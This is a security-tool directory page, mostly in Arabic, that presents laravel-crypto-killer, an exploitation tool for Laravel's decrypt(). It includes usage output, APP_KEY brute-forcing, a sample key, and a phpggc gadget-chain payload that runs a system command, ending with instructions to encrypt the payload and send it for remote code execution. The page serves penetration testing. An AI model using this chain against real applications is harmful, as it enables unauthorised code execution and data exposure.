Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
laravel-crypto-killer — أداة مصممة لاستغلال عمليات التنفيذ السيئة لآليات فك التشفير في تطبيقات Laravel. | Kitploit
أدوات/GitHubGitHub/synacktiv/laravel-crypto-killer
الاستطلاعأدوات التشفير/فك التشفيرتوليد الحمولةالاستغلالاستغلال تطبيقات الويب
GitHubsynacktiv/laravel-crypto-killer

laravel-crypto-killer

أداة مصممة لاستغلال عمليات التنفيذ السيئة لآليات فك التشفير في تطبيقات Laravel.

عرض المستودع
1461311منذ 9 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Laravel crypto killer

Logo

أداة مصممة لاستغلال التنفيذات السيئة لآليات فك التشفير في تطبيقات Laravel.

صُممت هذه الأداة في البداية لإنشاء حمولات تستهدف دالة decrypt() في Laravel من الحزمة Illuminate\Encryption.

يمكن استخدامها أيضًا لفك تشفير أي بيانات مُشفرة عبر encrypt() أو encryptString().

تتطلب الأداة APP_KEY صالحًا لاستخدامها، ويمكنك أيضًا محاولة تخمينها بالقوة (bruteforce) إذا كنت تعتقد أن هناك احتمالًا لإعادة استخدام مفتاح من مشروع عام مثلًا.

مؤلفا الأداة: @_remsio_ @Kainx42.

الاستخدام

يمكن استخدام مساعد (helper) مع كل خيار لاستخدام الأداة:

$ ./laravel_crypto_killer.py -h
usage: laravel_crypto_killer.py [-h] {exploit,encrypt,decrypt,bruteforce} ...

 ___                                _       ___                    _             __       _   _              
(O O)                              (_ )    ( O_`\                 ( )_          ( O)    _(_ )(_ )            
 | |      _ _ _ __  _ _ _   _   __  | |    | ( (_)_ __ _   _ _ _  | ,_)  _      |  |/')(_)| | | |   __  _ __ 
 | |    /'_` ( '__/'_` ( ) ( )/'__`\| |    | |  _( '__( ) ( ( '_`\| |  /'_`\    |  , < | || | | | /'__`( '__)
<  |__ ( (_| | | ( (_| | \_/ (  ___/| |   <  (_( | |  | (_) | (_) | |_( (_) )  <  | \`\| || | | |(  ___| |   
<_____/`\__,_(_) `\__,_`\___/`\____(___)  <_____/(_)  `\__, | ,__/`\__`\___/'  <__)  (_(_(___(___`\____(_)   
                                                     ( )_| | |                                             
                                                     `\___/(_)                                             
        This tool was firstly designed to craft payload targetting the Laravel decrypt() function from the package Illuminate\Encryption.
        
        It can also be used to decrypt any data encrypted via encrypt() or encryptString().

        The tool requires a valid APP_KEY to be used, you can also try to bruteforce them if you think there is a potential key reuse from a public project for example.

        Authors of the tool : @_remsio_, @Kainx42
        ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        

options:
  -h, --help            show this help message and exit

subcommands:
  You can use the option -h on each subcommand to get more info

  {exploit,encrypt,decrypt,bruteforce}
    exploit             Exploit mode
    encrypt             Encrypt mode
    decrypt             Decrypt mode
    bruteforce          Bruteforce potential values of APP_KEY. By default, all the values from the folder wordlists will be loaded.

$ ./laravel_crypto_killer.py encrypt -h
usage: laravel_crypto_killer.py encrypt [-h] [--key KEY] --value VALUE

optional arguments:
  -h, --help            show this help message and exit
  --key KEY, -k KEY     Key used by Laravel stored in APP_KEY in .env
  --value VALUE, -v VALUE
                        Value of the string data you want to laravel cipher (it has to be base64 encoded!). The place where you put a gadget chain from phpggc basically.
  --session_cookie SESSION_COOKIE, -sc SESSION_COOKIE
                        Add this option to format the ciphered value to exploit a Laravel Session Cookie (option SESSION_DRIVER=cookie). it should be a 40 character long hex chain

أهداف الأداة

غالبًا ما تُستخدم دالة decrypt من Illuminate\Encryption في تطبيقات Laravel. افتراضيًا، تدير البيانات المسلسلة وتشفيرها باستخدام المفتاح السري لتطبيق Laravel المخزن في APP_KEY.

namespace Illuminate\Encryption;
[...]
public function decrypt($payload, $unserialize = true)
    {
        $payload = $this->getJsonPayload($payload);

        $iv = base64_decode($payload['iv']);

        $decrypted = \openssl_decrypt(
            $payload['value'], $this->cipher, $this->key, 0, $iv
        );

        if ($decrypted === false) {
            throw new DecryptException('Could not decrypt the data.');
        }

        return $unserialize ? unserialize($decrypted) : $decrypted;
    }

سياسة Laravel، في الوقت الراهن، هي عدم تصحيح سلاسل الأدوات (gadget chains). لذلك، فإن المستخدم القادر على إرسال بيانات إلى دالة decrypt ويملك المفتاح السري للتطبيق سيكون قادرًا على تحقيق تنفيذ أوامر عن بُعد (RCE) على تطبيق Laravel.

البيئة المستخدمة في الأمثلة

يمكن استخدام المتحكم (Controller) التالي لاختبار الأداة:

<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Illuminate\Http\Response;

class EncryptController extends Controller
{
    public function encrypt(string $toencrypt): Response
    {
        $result = encrypt($toencrypt);
        return response($result, 200);
    }


    public function decrypt(string $todecrypt): Response
    {
        $result = decrypt($todecrypt);
        return response($result, 200);
    }
}

فك التشفير

باستخدام قيمة APP_KEY، يمكن فك تشفير البيانات باستخدام laravel_crypto_killer.

أولًا، استرجع قيمة من دالة التشفير.

$ curl http://localhost/encrypt/aaa
eyJpdiI6IkczTHpUZkNHWk4yUnFUSjFrM2Q1WkE9PSIsInZhbHVlIjoiS1RLRXJRd01wTDJvZFZmbzl5SkFPQT09IiwibWFjIjoiMTFhZDJiM2Y2NDMzNjViMzNjMjg5MGI2ZTZlNTZkZjY2NTE0ZDhiMTc5ZmU0MGZiMDc5NzU4YWI0YTcxNTAwZSIsInRhZyI6IiJ9

يمكنك بعد ذلك فك تشفيرها إذا كنت تملك APP_KEY صالحًا.

$ ./laravel_crypto_killer.py decrypt -k CGhMqYXFMzbOe048WS6a0iG8f6bBcTLVbP36bqqrvuA= -v eyJpdiI6IkczTHpUZkNHWk4yUnFUSjFrM2Q1WkE9PSIsInZhbHVlIjoiS1RLRXJRd01wTDJvZFZmbzl5SkFPQT09IiwibWFjIjoiMTFhZDJiM2Y2NDMzNjViMzNjMjg5MGI2ZTZlNTZkZjY2NTE0ZDhiMTc5ZmU0MGZiMDc5NzU4YWI0YTcxNTAwZSIsInRhZyI6IiJ9
[+] Unciphered value identified!
[*] Unciphered value
s:3:"aaa";
[*] Base64 encoded unciphered version
b'czozOiJhYWEiOwYGBgYGBg=='
[+] Matched serialized data in results! It's time to exploit unserialization to get RCE mate!

مثال على الاستغلال

إذا تم تحديد بيانات مسلسلة في نتيجة فك التشفير، فستتمكن على الأرجح من الحصول على تنفيذ أوامر عن بُعد. للقيام بذلك، استخدم phpggc الذي طوره Charles Fol لتوليد سلسلة أدوات (gadget chain). من الأفضل محاولة مطابقة إصدار PHP المستخدم.

$ php7.4 phpggc Laravel/RCE9 system id -b
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czoyOiJpZCI7fX0=

يمكنك بعد ذلك استخدام هذه القيمة، وتشفيرها باستخدام laravel_crypto_killer، ثم إرسالها إلى الخادم للحصول على RCE!

تنزيل الأداة